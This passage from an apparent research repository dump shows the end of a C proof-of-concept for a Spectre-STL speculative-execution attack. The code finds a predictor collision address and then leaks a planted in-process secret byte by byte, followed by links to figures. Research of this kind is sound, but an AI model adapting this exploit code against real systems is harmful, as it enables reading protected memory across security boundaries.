// Page number can be adjusted by modifying the macro PG_NUM. 306 | executable_page_1 = mmap(0, EXE_PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 307 | 308 | // Create address mapping for executable_page_1. 309 | for (int i = 0; i < EXE_PAGE_SIZE; i ++) 310 | executable_page_1[i] ^= temp; 311 | 312 | // Create address mapping for array2. 313 | for (size_t i = 0; i < 256 * CACHE_ST; i ++) 314 | array2[i] = 0; 315 | 316 | // Initialize the values for the collision finding algorithm. 317 | array2[0] = 0; 318 | array1[10] = 10; 319 | array1[0] = 10; 320 | 321 | // Search PSFP collision address. 322 | printf("Search offset of prime entry:\n"); 323 | int psfp_handler_entry_offset = search_for_collision(executable_page_1); 324 | 325 | // Check search result. 326 | if (psfp_handler_entry_offset == -1) { 327 | printf("Cannot find prime entry, please try again.\n"); 328 | return 0; 329 | } 330 | psfp_handler_entry = (void*) executable_page_1 + psfp_handler_entry_offset; 331 | 332 | // Leak Secret through out-of-place Spectre-STL Attack, the framework is adapted from Eugnis' code. 333 | printf("Putting '%s' in memory, address %p\n", secret, (void *)(secret)); 334 | size_t malicious_x = (size_t)(secret - (char *)array1), secret_base = (size_t)(secret); 335 | int score[2], len = LEAK_LEN; 336 | uint8_t value[2]; 337 | printf("Reading %d bytes:\n", len); 338 | while (-- len >= 0) { 339 | printf("Reading at address = 0x%lx... ", secret_base ++); 340 | leak(malicious_x ++, value, score); 341 | printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear")); 342 | printf("0x%02X='%c' score=%d ", value[0], 343 | (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); 344 | if (score[1] > 0) 345 | printf("(second best: 0x%02X='%c' score=%d)", value[1], 346 | (value[1] > 31 && value[1] < 127 ? value[1] : '?'), 347 | score[1]); 348 | printf("\n"); 349 | } 350 | return (0); 351 | } -------------------------------------------------------------------------------- /figures/Collision-Finding.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CPU-Security/Spectre-V4-ng/18feaa60a41191d463446a5b02a3d085ca1d7b98/figures/Collision-Finding.png -------------------------------------------------------------------------------- /figures/Spectre-CTL.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CPU-Security/Spectre-V4-ng/18feaa60a41191d463446a5b02a3d085ca1d7b98/figures/Spectre-CTL.png -------------------------------------------------------------------------------- /figures/Transient-Attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CPU-Security/Spectre-V4-ng/18feaa60a41191d463446a5b02a3d085ca1d7b98/figures/Transient-Attack.png --------------------------------------------------------------------------------